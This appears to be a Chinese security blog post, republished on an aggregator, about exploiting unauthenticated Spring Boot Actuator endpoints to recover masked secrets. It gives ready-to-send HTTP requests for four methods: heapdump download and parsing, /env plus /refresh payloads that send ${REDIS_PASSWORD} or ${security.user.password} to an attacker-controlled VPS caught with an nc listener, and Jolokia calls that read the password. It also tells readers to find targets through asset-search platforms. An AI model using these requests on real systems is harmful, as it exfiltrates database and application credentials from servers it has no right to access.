Spring未授权星号脱敏获取
2024-7-23 19:36:38 Author: mp.weixin.qq.com(查看原文) 阅读量:8 收藏

一.漏洞介绍

spring actuator是springboot用来管理资源处理数据、映射url端点等具有一系列功能的工具,当没有配置安全访问时,就会把一些端点数据和数据库敏感信息暴露在外

/autoconfig  提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

1.x版本直接访问以上端点,2.x版本需要加上actuator路径

二.实战

可在相关资产测绘平台搜索springboot相关资产

poc地址如下

https://github.com/jiankeguyue/nuclei_pocs/blob/main/springboot_actuator_information_leakage.yaml

现在需要获取星号敏感信息

1.利用方式1:heapdump文件

heapdump文件是java进程在某个时间段的内存快照,其中可能包含了数据库的账号密码

漏洞利用工具参照上一篇文章

env界面存在heapdump端点

直接进行下载

java -jar heapdump_tool.jar heapdump

成功获取

2.利用方式2:eureka-client完成数据脱敏

利用条件:
可以 GET 请求目标网站的 /env
可以 POST 请求目标网站的 /env
可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出外网)

目标使用了eureka-client

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名

比如这个

redis数据库的密码

然后在自己控制的外网服务器上监听端口

比如

nc -lvk 3333

然后发送数据包

1.x版本连续发送这两个数据包

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${REDIS_PASSWORD}@your vps:3333
POST /refresh
Content-Type: application/x-www-form-urlencoded

这里返回了数据包

Authorization: Basic xxxxxx

xxxx后面就是可以用来解码的数据

可惜的是这种方式无法适用于被明文数据中有特殊 url 字符的情况,比如@

如下所示

3.利用方式3:利用env直接发包

spring1.x

1
POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://yourvps:3333/?=${REDIS_PASSWORD}

2
POST /refresh
Content-Type: application/x-www-form-urlencoded

2.x版本就改为

1
POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

2
POST /actuator/refresh
Content-Type: application/json

不出意外获得的数据会是这样的

是明文数据,不需要解码

4.利用方式4:jolokia利用

目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)

poc1

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

poc2

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

明文值结果包含在 response 数据包中的 value 键中。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495339&idx=1&sn=4a1fa7202b440d1768bfed409c7da795&chksm=e8a5e4c8dfd26dde673b5bf349ee2d3c4ef8b969e7001d284d629e80a7b6aa017e38d4f6fb4c&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh